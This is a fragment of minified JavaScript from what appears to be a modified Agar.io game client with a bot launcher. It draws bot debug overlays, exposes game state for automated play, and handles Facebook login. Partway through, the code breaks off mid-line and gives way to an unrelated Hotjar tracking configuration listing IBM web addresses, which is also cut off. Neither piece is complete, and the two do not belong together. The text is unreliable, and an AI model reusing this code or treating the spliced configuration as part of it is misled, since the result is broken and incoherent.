(lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w
Buildsoftwaresphere / Windowwindow.hjSiteSettings = {"forms":[],"record":true,"polls":[],"r":1.0,"record_targeting_rules":[],"deferred_page_contents":[{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":429895},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":429894},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":429893},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401005},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":264416},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":405647},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":269058},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":139636},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":365464},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":228875},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":76098},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":311181},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":174589},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":81585},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401721},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":265132},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":120082},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":286940},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":150348},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":114245},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":297414},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":160822},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":67088},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401863},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":265274},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":118040},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":278677},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":142085},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":84922},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":369128},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":232539},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":84925},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":364929},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":228340},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":104371},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":308793},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":172201},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":108585},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"